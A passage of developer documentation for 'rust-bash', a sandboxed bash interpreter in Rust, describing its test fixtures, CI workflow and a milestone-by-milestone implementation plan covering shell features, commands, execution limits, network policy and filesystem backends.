ReadWriteFs tests\n│   │   ├── overlay_tests.rs   # #[cfg(test)] OverlayFs tests\n│   │   ├── mountable_tests.rs # #[cfg(test)] MountableFs tests\n│   │   └── tests.rs           # #[cfg(test)] shared VFS trait tests\n│   ├── commands/\n│   │   └── mod.rs             # #[cfg(test)] mod tests — command unit tests (inline)\n│   ├── interpreter/\n│   │   ├── mod.rs             # #[cfg(test)] mod tests — parse + word expansion unit tests\n│   │   └── expansion.rs       # word expansion engine (no inline tests)\n│   └── parser_smoke_tests.rs  # Smoke tests for brush-parser API surface\n└── tests/\n    ├── integration.rs         # End-to-end tests through RustBash::exec()\n    ├── comparison.rs          # Comparison test runner (rust-bash vs recorded bash output)\n    ├── spec_tests.rs          # Spec test runner (awk, grep, sed, jq)\n    ├── oils_spec.rs           # Oils spec test runner (upstream bash conformance tests)\n    ├── common/\n    │   └── mod.rs             # Shared data model and test execution logic\n    ├── filesystem_backends.rs # VFS backend integration tests\n    ├── cli.rs                 # CLI entry-point tests\n    ├── ffi.rs                 # FFI/C-binding tests\n    ├── fixtures/\n    │   ├── comparison/        # TOML fixtures recorded from real bash\n    │   │   ├── basic_echo.toml\n    │   │   ├── quoting/\n    │   │   ├── expansion/\n    │   │   ├── word_splitting/\n    │   │   ├── globbing/\n    │   │   ├── redirections/\n    │   │   ├── pipes/\n    │   │   ├── control_flow/\n    │   │   ├── functions/\n    │   │   └── here_documents/\n    │   ├── spec/              # Manually written spec tests\n    │   │   ├── basic_commands.toml\n    │   │   ├── grep/\n    │   │   ├── sed/\n    │   │   ├── awk/\n    │   │   └── jq/\n    │   └── oils/              # Upstream Oils bash conformance tests (Apache 2.0)\n    │       ├── LICENSE\n    │       ├── pass-list.txt\n    │       └── *.test.sh      # 142 test files\n    └── snapshots/             # insta snapshot files\n```\n\n## CI Pipeline\n\n1. `cargo fmt --check` — formatting\n2. `cargo clippy -- -D warnings` — linting\n3. `cargo test` — all unit + integration tests (including insta snapshot tests)\n4. `cargo insta review` — review any new or changed snapshots **(run locally before committing)**\n\n> **Fuzzing** is not yet set up — no `fuzz/` directory exists. Adding `cargo fuzz` targets is aspirational future work.\n\n## TOML Fixture Format\n\nBoth comparison and spec tests use the same TOML format. Each fixture file contains a `[[cases]]` array:\n\n```toml\n# tests/fixtures/comparison/expansion/parameter_default.toml\n\n[[cases]]\nname = \"unset_default_with_colon\"\nscript = 'echo \"${UNSET:-fallback}\"'\nstdout = \"fallback\\n\"\nstderr = \"\"\nexit_code = 0\n\n[[cases]]\nname = \"skip_example\"\nscript = \"echo $'hello\\\\tworld'\"\nskip = \"rust-bash does not implement ANSI-C quoting\"\nstdout = \"\"\nexit_code = 0\n```\n\n### Available fields\n\n| Field | Type | Required | Default | Description |\n|-------|------|----------|---------|-------------|\n| `name` | string | yes | — | Unique test case name (used in failure output) |\n| `script` | string | yes | — | Bash script to execute |\n| `stdout` | string | no | `\"\"` | Expected stdout (exact match) |\n| `stderr` | string | no | `\"\"` | Expected stderr (exact match) |\n| `exit_code` | integer | no | `0` | Expected exit code |\n| `stderr_contains` | string | no | — | Partial stderr match (mutually exclusive with `stderr_ignore`) |\n| `stderr_ignore` | boolean | no | `false` | Skip stderr comparison entirely |\n| `stdin` | string | no | — | Content piped to the script's stdin |\n| `expect_error` | boolean | no | `false` | If true, the test passes when `exec()` returns `Err` |\n| `files` | table | no | `{}` | VFS files to seed before running (key = path, value = content) |\n| `env` | table | no | `{}` | Extra environment variables (merged with base env) |\n| `skip` | string | no | — | If set, skip this case and print the reason |\n\n### Base environment\n\nAll test cases run with a controlled environment (no inherited host variables):\n\n- `HOME=/root`\n- `USER=testuser`\n- `TZ=UTC`\n- `LC_ALL=C`\n- `PATH=/usr/local/bin:/usr/bin:/bin`\n\nThe `env` field in a test case adds to (or overrides) these defaults.\n\n### Execution limits\n\nAll cases run with execution limits to prevent hangs: max 10,000 loop iterations and 5-second wall-clock timeout.\n\n## Adding New Test Cases\n\n**Comparison tests** — to test a shell language feature against real bash:\n\n1. Find the appropriate TOML file in `tests/fixtures/comparison/` (or create a new one in the right subdirectory).\n2. Add a `[[cases]]` entry with `name`, `script`, and the expected `stdout`/`stderr`/`exit_code`.\n3. Run `cargo test --test comparison` to verify the case passes.\n\nIf you don't know the expected output, use recording mode to capture it from real bash:\n\n```bash\nRECORD_FIXTURES=1 cargo test --test comparison\n```\n\nThis runs each script against `/bin/bash` and overwrites the `stdout`, `stderr`, and `exit_code` fields in-place (preserving comments and formatting via `toml_edit`). Review the diffs, then run `cargo test` to confirm rust-bash matches.\n\n> **Note**: Recording mode stages `files` entries into a real temp directory. Scripts using absolute VFS paths (e.g., `/tmp/test.txt`) may see different paths than in the VFS sandbox. For such cases, prefer relative paths in scripts, or write expected output manually and mark the test with `skip` for recording.\n\n**Spec tests** — to test a command implementation (grep, sed, awk, jq):\n\n1. Find the appropriate TOML file in `tests/fixtures/spec/` (or create a new one).\n2. Add a `[[cases]]` entry with manually written expected output.\n3. Run `cargo test --test spec_tests` to verify.\n\nSpec tests have no recording mode — expected output is always hand-written.\n\n## Marking Known Failures\n\nAll three test suites (comparison, spec, and Oils) use a **three-state model** for each test case:\n\n| State | Meaning |\n|-------|---------|\n| **pass** | Case must match expected output. A mismatch is a test failure. |\n| **xfail** | Known product gap — the case is expected to fail. A mismatch is silently counted. If it unexpectedly passes, that is treated as a failure to force promotion. |\n| **skip** | Case is excluded entirely (harness limitation, platform blocker, or non-applicable). |\n\n### TOML suites (comparison and spec)\n\nThe preferred way to mark a known failure is with the `status` field:\n\n```toml\n[[cases]]\nname = \"ansi_c_quoting\"\nscript = \"echo $'hello\\\\tworld'\"\nstatus = \"xfail\"\nstdout = \"hello\\tworld\\n\"\nexit_code = 0\n```\n\nXfail cases run normally but their mismatch does not cause a test failure. When the underlying feature is implemented and the case starts passing, the runner reports an **unexpected pass** and fails the test — you must then change `status` back to `\"pass\"` (or remove it, since pass is the default) to promote the case.\n\nThe `skip` field is still supported as a legacy mechanism (setting `skip = \"reason\"` excludes the case entirely), but `status = \"xfail\"` is preferred for product gaps because xfail cases still execute and will automatically surface when they start passing.\n\n### Oils suite\n\nThe Oils suite uses an **inverted model**: a pass-list (`tests/fixtures/oils/pass-list.txt`) tracks known-passing case names. Everything not in the pass-list defaults to xfail. Cases whose code contains constructs the harness cannot support (e.g., here-documents with `cat <<`) are marked skip. See the \"Oils Spec Tests\" section above for details.\n\n## Re-Recording Fixtures\n\nFixtures should be periodically re-recorded to catch regressions against newer bash versions and to update expected output as rust-bash behavior improves:\n\n```bash\nRECORD_FIXTURES=1 cargo test --test comparison\n```\n\n**Workflow**:\n1. Run the recording command locally (requires `/bin/bash` on the host).\n2. Review the git diff — verify that changes are expected (e.g., a fixed bug now produces correct output).\n3. Run `cargo test` without `RECORD_FIXTURES` to confirm rust-bash passes with the updated fixtures.\n4. Commit the updated fixture files.\n\nRecording mode skips cases marked with `skip`. Each script runs with a 10-second timeout and the same controlled environment as normal test execution, ensuring reproducible results.\n\n> **Note**: Recording mode uses `std::process::Command` to invoke real `/bin/bash`. This is the **only** code path in the project that shells out to an external process, and it lives in test code only — never in library code.\n\n## Testing Conventions\n\n- **Test names describe behavior, not implementation**: `fn pipe_chains_stdout_to_stdin()` not `fn test_pipeline()`\n- **One assertion per concept**: test one behavior aspect per test function\n- **Use builder helpers**: create test-specific sandbox builders to reduce boilerplate\n- **Test error cases too**: verify that invalid inputs produce correct error messages and exit codes\n- **Don't test brush-parser**: we trust the parser. Test our interpretation of its output.\n","/home/user/docs/guidebook/10-implementation-plan.md":"# Chapter 10: Implementation Plan\n\n## Milestones Overview\n\n| # | Milestone | Goal |\n|---|-----------|------|\n| ✅ M1 | Core Shell | Production interpreter + VFS trait + ~35 commands |\n| ✅ M2 | Text Processing | awk, sed, jq, diff + remaining text commands |\n| ✅ M3 | Execution Safety | Limits enforcement, network policy |\n| ✅ M4 | Filesystem Backends | OverlayFs, ReadWriteFs, MountableFs |\n| ✅ M5 | Integration | C FFI, WASM, CLI binary, AI SDK wrapper |\n| ✅ M6 | Shell Language Completeness | Arrays, shopt, process substitution, special vars, advanced redirections, missing builtins, differential testing |\n| ✅ M7 | Command Coverage & Discoverability | Missing commands, `--help` for all commands, compression/archiving, command fidelity, AI agent docs |\n| M8 | Embedded Runtimes & Data Formats | Python, JavaScript, SQLite, yq, xan, runtime boundary hardening |\n| M9 | Platform, Security & Execution API | Cancellation, lazy files, AST transforms, sandbox API, fuzz testing, threat model, binary encoding, network enhancements, VFS fidelity |\n\n---\n\n## Milestone 1: Core Shell\n\n**Goal**: A correct, reliable interpreter that handles the bash features AI agents actually use.\n\n### M1.1 — VFS Trait Extraction ✅\n\nExtract `VirtualFs` trait from `InMemoryFs`. Update `CommandContext` to `&dyn VirtualFs`, `InterpreterState` to `Arc<dyn VirtualFs>`. Use `parking_lot::RwLock` to avoid lock poisoning.\n\n**Why first**: every subsequent component depends on the trait abstraction.\n\n### M1.2 — Compound List Output Accumulation ✅\n\nFix compound list execution to accumulate stdout/stderr across all items. `echo a; echo b` correctly returns `\"a\\nb\\n\"`.\n\n### M1.3 — Word Splitting and Quoting Correctness ✅\n\nImplement IFS-based word splitting after variable expansion. Respect quoting rules: double-quoted expansions don't word-split, single-quoted are literal. Handle `\"$@\"` vs `\"$*\"`.\n\n### M1.4 — Command Substitution ✅\n\nImplement `$(...)` and backtick expansion. Requires interior mutability refactor (`RefCell` or `&mut` restructuring) since command substitution executes commands during word expansion.\n\n### M1.5 — Exec Callback for Sub-Commands ✅\n\nAdd `exec` callback to `CommandContext` so commands can invoke sub-commands. Implement `eval` and `source` builtins. This unblocks `xargs`, `find -exec`, etc.\n\n### M1.6 — test/[ and [[ (Extended Test) ✅\n\nImplement conditional expressions: file tests (`-f`, `-d`, `-e`), string tests (`-z`, `-n`, `=`), numeric comparisons (`-eq`, `-lt`, etc.). Implement `[[ ]]` with pattern matching and regex.\n\n### M1.7 — break/continue ✅\n\nImplement loop control flow with optional numeric arguments (`break 2`). Uses a signal mechanism that propagates through nested execution.\n\n### M1.8 — Glob Expansion ✅\n\nImplement `VirtualFs::glob()` on InMemoryFs. Integrate into word expansion for unquoted wildcards. Include a simple numeric guard against unbounded results (formalized as part of `ExecutionLimits` in M3.1).\n\n### M1.9 — Brace Expansion ✅\n\nImplement `{a,b,c}` alternation and `{1..10}` sequence expansion. Include a simple numeric guard against unbounded expansion (formalized as part of `ExecutionLimits` in M3.1).\n\n### M1.10 — Here-Documents and Here-Strings ✅\n\nHandle `<<EOF` and `<<<word`. The heredoc body is already in the AST from brush-parser — just feed it as stdin. Support variable expansion within unquoted heredocs.\n\n### M1.11 — Arithmetic Expansion ✅\n\nImplement `$((...))` evaluator: arithmetic operators, comparisons, boolean logic, ternary, variable references, increment/decrement. Implement `let` and `((...))`.\n\n### M1.12 — Functions and Local Variables ✅\n\nStore function definitions. Implement function call with positional parameters. `local` for function-scoped variables. `return` builtin. Distinguish exported vs non-exported variables.\n\n### M1.13 — Case Statements ✅\n\nImplement `case` with glob pattern matching, `|` alternation, `;;`/`;&`/`;;&` terminators.\n\n### M1.14 — Additional Core Commands ✅\n\nFile ops: `cp`, `mv`, `rm`, `tee`, `stat`, `chmod`. Text: `cut`, `printf`, `rev`, `fold`, `nl`. Navigation: `find`, `realpath`. Utilities: `expr`, `date`, `sleep`, `env`, `which`, `xargs`, `read`, `base64`, `md5sum`, `sha256sum`, `whoami`, `hostname`, `uname`. Minimal `trap EXIT` support.\n\n### M1.15 — Error Handling ✅\n\nDefine `RustBashError` enum. All public APIs return `Result<T, RustBashError>`. Implement `set -e`, `set -u`, `set -o pipefail`.\n\n---\n\n## Milestone 2: Text Processing\n\n### M2.1 — grep (Full) ✅\n\nAdd `regex` crate. Support `-E`, `-G`, `-P`, `-F`, `-n`, `-l`, `-L`, `-r`, `-R`, `-o`, `-A`/`-B`/`-C`, `-v`, `-c`, `-w`, `-x`, `-H`, `-h`, `-q`, `-m`, `-e`, `-f`, `--include`, `--exclude`.\n\n### M2.2 — sed ✅\n\nCore commands: `s///`, `d`, `p`, `q`, `a`, `i`, `c`. Address types: line number, `$`, `/regex/`, ranges. Hold space for multi-line operations. `-i` for in-place VFS edit.\n\n### M2.3 — awk ✅\n\nField splitting, patterns, actions, BEGIN/END, built-in variables (NR, NF, FS), control flow, built-in functions, associative arrays. Start with 80/20 subset.\n\n### M2.4 — jq ✅\n\nVia `jaq-core` crate. Common filters: `.field`, `.[]`, `select()`, `map()`, `keys`, `length`, `|`. Flags: `-r`, `-e`, `-c`, `-S`.\n\n### M2.5 — diff ✅\n\nVia `similar` crate. Unified (`-u`), context (`-c`), and normal diff formats. `-r` for recursive directory diff.\n\n### M2.6 — Remaining Text Commands ✅\n\n`comm`, `join`, `fmt`, `column`, `expand`/`unexpand`, `yes`, `tac`.\n\n---\n\n## Milestone 3: Execution Safety\n\n### M3.1 — Execution Limits Enforcement ✅\n\nAdd `ExecutionLimits` + `ExecutionCounters` to state. Check limits at command dispatch, function calls, loop iterations, output appends, and wall-clock time. Return structured `LimitExceeded` errors. Additional limits to add: `maxSourceDepth` (default 100 — prevents `source` nesting stack overflow), `maxFileDescriptors` (default 1024 — prevents FD exhaustion from `exec 3<file` loops).\n\n### M3.2 — Network Access Control ✅\n\nImplement `NetworkPolicy`. Sandboxed `curl` validates URL against allow-list before HTTP request. Method restrictions, redirect following, response size limits. Additional security features to add: **DNS rebinding / SSRF protection** — `denyPrivateRanges: bool` option that DNS-resolves the URL hostname *before* the HTTP request and rejects private IP ranges (10.x, 172.16.x, 192.168.x, 127.x, ::1, link-local); pin resolved IP to the connection to prevent TOCTOU attacks. **Request transforms / credential brokering** — per-allowed-URL `transform` callback that can inject headers (auth tokens) at the fetch boundary so secrets never enter the sandbox environment. This enables secure API access without exposing credentials to scripts.\n\n---\n\n## Milestone 4: Filesystem Backends\n\n### M4.1 — OverlayFs ✅\n\nRead from real directory, write to in-memory layer. Whiteout tracking for deletions. Merged directory listings.\n\n### M4.2 — ReadWriteFs ✅\n\nThin `std::fs` wrapper. Optional path restriction (chroot-like).\n\n### M4.3 — MountableFs ✅\n\nComposite backend with path-based delegation. Longest-prefix mount matching.\n\n---\n\n## Milestone 5: Integration\n\n### M5.1 — CLI Binary ✅\n\nStatic binary. `--files`, `--cwd`, `--env` flags. Interactive REPL. `--json` output mode.\n\n### M5.2 — C FFI ✅\n\nStable C ABI: 6 exported functions (`rust_bash_create`, `rust_bash_exec`, `rust_bash_result_free`, `rust_bash_free`, `rust_bash_last_error`, `rust_bash_version`). JSON config. Generated C header.\n\n### M5.3 — WASM Target ✅\n\n`wasm32-unknown-unknown` + `wasm-bindgen`. JavaScript wrapper. npm package (`rust-bash`) with TypeScript types, dual-entry (Node.js + browser), WASM backend with `initWasm()` / `createWasmBackend()`.\n\n**Design decision:** Separate `wasm-bindgen` (browser) and planned napi-rs (Node.js native addon) builds, unified under a single `rust-bash` package with conditional exports. The package auto-detects the environment: `tryLoadNative()` for Node.js, `initWasm()` for browsers.\n\n### M5.4 — AI SDK Integration ✅\n\nFramework-agnostic tool definitions (JSON Schema + handler functions) exported from the npm package. MCP server mode for the CLI binary (`rust-bash --mcp`). Documented recipe-based adapters for Vercel AI SDK, LangChain.js, OpenAI API, and Anthropic API. The core exports `bashToolDefinition` (JSON Schema), `createBashToolHandler()`, `formatToolForProvider()`, and `handleToolCall()` — the universal building blocks that work with any AI agent framework. Framework-specific adapters are thin (~10-line) wrappers documented as recipes, not hard dependencies.\n\n**Design decisions:**\n- **Unified package:** Single `rust-bash` package with native Node.js addon as primary backend and WASM as automatic fallback for browsers/edge runtimes.\n- **Custom commands:** `defineCommand()` API in TypeScript mirrors the Rust `VirtualCommand` trait. Custom commands are registered at `Bash.create()` time and participate in pipelines and redirections.\n- **Tool primitives:** `bashToolDefinition` + `formatToolForProvider('openai' | 'anthropic' | 'mcp')` for zero-dependency provider formatting. `handleToolCall()` dispatcher supports `bash`, `readFile`, `writeFile`, `listDirectory` tool names.\n\n---\n\n## Milestone 6: Shell Language Completeness\n\n**Goal**: Close remaining bash language gaps so AI-generated scripts that use arrays, shopt, advanced builtins, and process substitution work without modification.\n\n### M6.1 — Indexed and Associative Arrays ✅\n\nImplemented `VariableValue` enum (`Scalar`/`IndexedArray(BTreeMap<usize, String>)`/`AssociativeArray(BTreeMap<String, String>)`), `VariableAttrs` bitflags, array assignment/expansion/arithmetic, `declare -a`/`-A`, `unset arr[n]`, `${arr[@]}`, `${arr[*]}`, `${#arr[@]}`, `${!arr[@]}`, array `+=()` append, and `maxArrayElements` execution limit. 31 integration tests.\n\n**Why first in M6**: Arrays are the critical path — `$PIPESTATUS`, `BASH_REMATCH`, `mapfile`, `read -a`, and `declare -A` all depend on this.\n\n### M6.2 — `$PIPESTATUS` and `BASH_REMATCH` as Arrays ✅\n\nExpose the `exit_codes` vector already collected in `execute_pipeline` as the `$PIPESTATUS` indexed array variable. Migrate `BASH_REMATCH_N` flat variables (from `=~` regex matching) to a proper `BASH_REMATCH` indexed array with capture group support.\n\n### M6.3 — Shopt Options ✅\n\nAdd `ShoptOpts` struct to interpreter state and `shopt` builtin. Implement behavioral wiring for: `nullglob` (non-matching globs expand to nothing), `globstar` (`**` matches recursively), `dotglob` (globs include dot-files), `extglob` (extended patterns `+(...)` etc. — parser already enables this), `failglob` (error on no match), `nocaseglob` (case-insensitive glob), `nocasematch` (case-insensitive `[[ =~ ]]` and `case`), `lastpipe` (last pipeline command runs in current shell — requires changing pipeline execution to avoid subshell for the final command when enabled), `expand_aliases` (enable alias expansion), `xpg_echo` (make `echo` interpret backslash escapes by default, like `echo -e`), `globskipdots` (don't match `.` and `..` with glob patterns — bash 5.2+ default).\n\n### M6.4 — Additional Builtins ✅\n\nImplement missing builtins that AI-generated scripts commonly use:\n\n- ✅ `getopts optstring name [args]` — argument parsing with `OPTIND`/`OPTARG`/`OPTERR` state.\n- ✅ `mapfile`/`readarray` — populate indexed array from stdin. Support `-t` (strip newline), `-d` (delimiter), `-n` (max lines), `-s` (skip lines), `-C` (callback).\n- ✅ `type [-t|-a|-p] name` — identify whether name is builtin, function, command, or alias. Common pattern: `if type jq &>/dev/null; then ...`.\n- ✅ `command [-pVv] name` — run command bypassing functions, or describe a command. `command -v git` is the most common tool-detection pattern in bash. `-p` uses default PATH.\n- ✅ `builtin name [args]` — force execution of a builtin, bypassing same-named functions.\n- ✅ `pushd [-n] [dir | +N | -N]` / `popd [-n] [+N | -N]` / `dirs [-clpv] [+N | -N]` — full directory stack. ~260 lines in just-bash. Very common in build scripts and CI.\n- ✅ `alias name=value` / `unalias name` — define and remove aliases. Requires pre-expansion token rewriting before command execution. Lower priority than other builtins due to architectural complexity with brush-parser.\n- `select var in list; do ... done` — menu selection loop. Low priority (interactive feature, rarely used by AI agents), but completes the control-flow set. Blocked: brush-parser 0.3.0 has no `Select` variant in `CompoundCommand`.\n- ✅ `hash [-r] [name]` — command path caching with real hash table. Maintain `HashMap<String, PathBuf>` in interpreter state. `hash name` resolves and caches the PATH lookup; subsequent invocations skip PATH search. `hash -r` clears the table. `hash` with no args lists cached entries. just-bash implements this with a real `hashTable: Map`; matching that behavior avoids silent divergence in scripts that use `hash -r` to force re-resolution after PATH changes.\n- ✅ `wait [pid|jobspec]` — no-op stub that returns 0 immediately. Prevents scripts from failing when they include `wait`.\n\n### M6.5 — Full `read` Flags ✅\n\nExtend `builtin_read` beyond basic line reading. Add: `-r` (no backslash escaping — already works), `-a arrayname` (read into indexed array — requires M6.1), `-d delim` (read until delimiter instead of newline), `-n count` (read at most N characters), `-N count` (read exactly N characters), `-p prompt` (no-op in sandbox — stdin is pre-provided), `-t timeout` (return failure if stdin empty — sandbox stdin is always fully provided, so this returns immediately).\n\n### M6.6 — Full `declare` Attributes ✅\n\nExtend `builtin_declare` and `Variable` to support all attribute flags: `-i` (integer — arithmetic eval on every assignment), `-l` (lowercase — transform value to lowercase on assignment), `-u` (uppercase — transform to uppercase), `-n` (nameref — variable holds name of another variable, dereference on read/write with depth cap of 10 to prevent loops), `-a` (indexed array), `-A` (associative array). Add attribute bitflags to `Variable` struct to avoid per-variable memory bloat.\n\n### M6.7 — Process Substitution ✅\n\nImplemented `<(cmd)` and `>(cmd)`. brush-parser already produces `ProcessSubstitution` AST nodes. For `<(cmd)`: execute command, capture stdout, write to temp VFS file (`/tmp/.proc_sub_N`), substitute the temp path into the argument list. For `>(cmd)`: create temp file, after outer command completes read it and pipe to inner command. Temp files cleaned up after enclosing command completes. Enables `diff <(sort file1) <(sort file2)` pattern.\n\n### M6.8 — Special Variable Tracking ✅\n\nSeveral special variables are missing or broken:\n\n- **`$LINENO`** — currently hardcoded to `\"0\"`. Must track the actual source line number from the AST during execution, updating it at each statement. Critical for error messages and debugging.\n- **`$SECONDS`** — elapsed seconds since shell start. Store `Instant::now()` at shell creation, return elapsed on access.\n- **`$_`** — last argument of the previous command. Update after each simple command execution.\n- **`FUNCNAME`** array — stack of function names during call chain. Push on function entry, pop on return. (Requires M6.1 arrays.)\n- **`BASH_SOURCE`** array — stack of source files. Track which file/string each function was defined in.\n- **`BASH_LINENO`** array — stack of line numbers where each function call originated.\n- **`$PPID`** — virtual parent PID. Return configurable value (default 1). Referenced in process-aware scripts.\n- **`$UID` / `$EUID`** — virtual user ID and effective user ID. `if [ \"$EUID\" -ne 0 ]; then` is an extremely common pattern. Return configurable value (default 1000).\n- **`$BASHPID`** — current PID. Unlike `$$`, changes in subshells. Track separately via subshell nesting counter.\n- **`SHELLOPTS` / `BASHOPTS`** — readonly colon-separated lists of currently enabled `set` and `shopt` options respectively. Dynamically maintained — scripts check `[[ $SHELLOPTS =~ errexit ]]`. Must update on every `set -o`/`shopt -s` change.\n- **`$MACHTYPE` / `$HOSTTYPE`** — machine description strings. Can be set to static values (e.g., `x86_64-pc-linux-gnu`, `x86_64`).\n\n### M6.9 — Shell Option Enforcement ✅\n\nThe following `set`/`shopt` options are now enforced:\n\n- **`set -x` (xtrace)** — traces simple commands and bare assignments to stderr, prefixed with `$PS4` (default `\"+ \"`). Shows expanded words. Trace state is captured before dispatch so `set +x` is traced but `set -x` is not.\n- **`set -v` (verbose)** — accepted and stored; behavioral effect (echoing source lines) not yet implemented (requires line-by-line parse-execute loop).\n- **`set -n` (noexec)** — skips all commands except `set` itself, enabling syntax checking.\n- **`set -C` / `set -o noclobber`** — prevents `>` and `&>` from overwriting existing files; `>|` forces overwrite; `>>` and `&>>` are unaffected. `/dev/null` is always allowed.\n- **`set -a` (allexport)** — marks variables as EXPORTED on assignment in `set_variable()`. Other assignment sites (`declare X` without value, `read -a`) are not yet wired.\n- **`set -f` (noglob)** — disables glob expansion entirely in `glob_expand_words()`.\n- **`set -o posix`** — accepted and stored as a no-op stub.\n- **`set -o vi` / `set -o emacs`** — accepted as no-ops (tracked in options). Not meaningful in a sandbox.\n\n### M6.10 — Advanced Redirections ✅\n\nAll six redirection features are now implemented:\n\n- ✅ **`exec` builtin** — when invoked with only redirections (`exec > file`, `exec 3< file`), permanently redirect file descriptors for the rest of the shell session. Without redirections, `exec cmd` replaces the shell (in sandbox: just run the command).\n- ✅ **`/dev/stdin`, `/dev/stdout`, `/dev/stderr`** — special-cased in redirection handling alongside `/dev/null`. `/dev/zero` (reads return null bytes) and `/dev/full` (writes return ENOSPC) are also supported.\n- ✅ **FD variable allocation `{varname}>file`** — automatically allocate a file descriptor number (starting at 10), store it in the named variable. `exec {fd}>&-` closes it.\n- ✅ **Read-write file descriptors `N<>file`** — open file for both reading and writing on FD N.\n- ✅ **FD movement `N>&M-`** — duplicate FD M to N, then close M.\n- ✅ **Pipe stderr `|&`** — shorthand for `2>&1 |`, piping both stdout and stderr to next command.\n\n### M6.11 — Parameter Transformation Operators ✅\n\nImplement `${var@operator}` syntax for variable transformations:\n\n- **`${var@Q}`** — quote value for shell reuse (wraps in `$'...'` for control characters).\n- **`${var@E}`** — expand backslash escape sequences in value.\n- **`${var@P}`** — expand prompt escape sequences (`\\u`, `\\h`, `\\w`, `\\d`, `\\t`, `\\[`, `\\]`, ANSI colors). Used by PS1/PS4 expansion.\n- **`${var@A}`** — produce an assignment statement that recreates the variable (e.g., `declare -- var=\"value\"`).\n- **`${var@a}`** — return the variable's attribute flags (e.g., `x` for exported, `r` for readonly).\n- **`${!ref}` (indirect expansion)** — dereference variable whose name is stored in `ref`. Handle `${!ref}` pointing to arrays, slicing via indirection. Different from namerefs (M6.6) — this is a read-time expansion. Widely used for dynamic variable access.\n- **`${!prefix*}` / `${!prefix@}` (variable name expansion)** — expand to all variable names matching the given prefix. Used for iterating config variables (e.g., `${!DOCKER_*}`).\n- **`printf -v varname`** — assign formatted output to a variable instead of stdout. Very common pattern to avoid subshell overhead: `printf -v hex '%02x' 255`.\n\nAlso add `printf` format specifiers `%b` (interpret backslash escapes) and `%q` (shell-quote output).\n\n### M6.12 — Differential Testing Against Real Bash ✅\n\nFixture-based comparison test suite that records expected output from real `/bin/bash` and replays it against rust-bash on every `cargo test`. Delivered: 280 comparison test cases across 35 fixture files covering shell language features (quoting, expansion, word splitting, globbing, redirections, pipes, control flow, functions, here-documents, arrays, PIPESTATUS, BASH_REMATCH, declare attributes, read flags, parameter transforms, special variables, set options, advanced redirections) plus 200 spec test cases across 14 fixture files for `grep`, `sed`, `awk`, and `jq`, plus 2,278 Oils spec test cases across 142 files imported from the upstream Oils project (commit `7789e21d81537a5b47bacbd4267edf7c659a9366`, Apache 2.0). Recording mode (`RECORD_FIXTURES=1`) re-captures ground truth from real bash. Infrastructure uses `datatest-stable` for per-file test discovery and `toml_edit` for round-trip fixture updates. The Oils suite uses a pass-list approach (everything defaults to xfail, pass-list tracks known passes). Combined test surface: **2,758 cases** across three suites. Of the comparison cases, 278 pass, 1 is xfail, and 1 is skip. Of the Oils cases, 2,176 pass, 165 are xfail (product gaps), and 79 are skip (harness limitations); 42 files are skipped entirely (non-applicable, CLI-only, process/trap). All runners use a three-state model (pass/xfail/skip) and treat unexpected passes as failures to force fixture promotion.\n\n---\n\n## Milestone 7: Command Coverage and Discoverability\n\n**Goal**: Fill remaining command gaps identified against just-bash, and add `--help` to every command so AI agents can self-discover usage.\n\n### ✅ M7.1 — `--help` Flag for All Commands\n\nAdd a `--help` handler to the command dispatch layer (or per-command). When any command receives `--help` as the first argument, print a usage summary to stdout and exit 0. Cover all ~58 existing commands and every new command added in M7. Consider a declarative approach (e.g., a `CommandMeta` struct with name, synopsis, description, options) to avoid per-command boilerplate.\n\n### ✅ M7.2 — Core Utility Commands\n\nImplement commonly-used utility commands that AI agents encounter:\n\n- ✅ `timeout [-k kill_delay] [-s signal] duration command` — run command with time limit, exit 124 on timeout.\n- ✅ `time [-p] pipeline` — shell keyword (not just a command) that wraps an entire pipeline with timing; report wall-clock, user, and system time to stderr. `-p` for POSIX format. Must handle `time cmd1 | cmd2` as a single timed unit.\n- ✅ `readlink [-f|-e|-m] path` — resolve symlinks. `-f` canonicalize (all components must exist).\n- ✅ `rmdir [-p] dir` — remove empty directories. `-p` removes parent directories too.\n- ✅ `du [-s|-h|-a|-d depth] [path]` — estimate file space usage by walking VFS tree.\n- ✅ `sha1sum [files]` — SHA-1 hash (add `sha1` crate alongside existing `sha2`).\n- ✅ `fgrep` / `egrep` — register as aliases for `grep -F` / `grep -E`. Deprecated but widely used in existing scripts.\n- ✅ `sh [-c command]` — alias for `bash`. Run a subshell. `sh -c \"...\"` is very common.\n- ✅ `bc [-l]` — arbitrary precision calculator. Basic arithmetic, comparison, and `scale` support. Covers `echo \"1.5 * 3\" | bc` pattern.\n\n### ✅ M7.3 — Compression and Archiving\n\nImplement archive and compression commands for AI agents working with bundled data:\n\n- ✅ `gzip [-d|-c|-k|-f|-r|-1..-9] [files]` — compress files. Via `flate2` crate.\n- ✅ `gunzip [files]` — decompress (alias for `gzip -d`).\n- ✅ `zcat [files]` — decompress to stdout (alias for `gzip -dc`).\n- ✅ `tar [-c|-x|-t|-f archive] [files]` — create, extract, list archives. Support gzip compression (`-z`). Via `tar` crate + `flate2`.\n\n**Binary data path**: `CommandResult.stdout_bytes` and `CommandContext.stdin_bytes` carry `Vec<u8>` through pipelines without UTF-8 conversion. `InterpreterState.pipe_stdin_bytes` propagates binary between pipeline stages.\n\n### ✅ M7.4 — Binary and File Inspection\n\nCommands for inspecting file contents and types:\n\n- ✅ `file [files]` — detect file type via magic bytes + extension mapping.\n- ✅ `strings [-n min_length] [files]` — extract printable strings from binary data.\n- ✅ `od [-A addr_format] [-t type] [files]` — octal/hex/decimal dump.\n- ✅ `split [-l lines|-b bytes] [file [prefix]]` — split file into chunks.\n\n### ✅ M7.5 — Search\n\n- ✅ `rg [pattern] [path]` — ripgrep-compatible recursive search. Respects `.gitignore`, smart case by default, vimgrep output format. Reuses existing `grep` search infrastructure with ripgrep-style defaults (recursive, smart-case, file-type filters via `-t`/`-T`, glob via `-g`).\n\n### ✅ M7.6 — Shell Utility Commands\n\n- ✅ `help [command]` — display help for builtins and commands. Comprehensive built-in help database (just-bash has 650+ lines of help text). Can share metadata from M7.1's `--help` infrastructure.\n- ✅ `clear` — output ANSI clear-screen escape sequence.\n- ✅ `history` — display command history. Integrates with existing REPL history tracking.\n\n### ✅ M7.7 — Default Filesystem Layout and Command Resolution\n\nCurrently `RustBashBuilder::build()` creates an empty VFS with only the cwd. `which ls` returns a hardcoded `/usr/bin/ls` without checking the VFS, and that path doesn't exist. Fix:\n\n- **Default filesystem layout**: On build, create `/bin`, `/usr/bin`, `/tmp`, `/home/user` (or `$HOME`), and `/dev` (with `/dev/null`, `/dev/zero`). Match the Unix-like layout AI agents expect.\n- **Command stubs**: When commands are registered, write stub files to 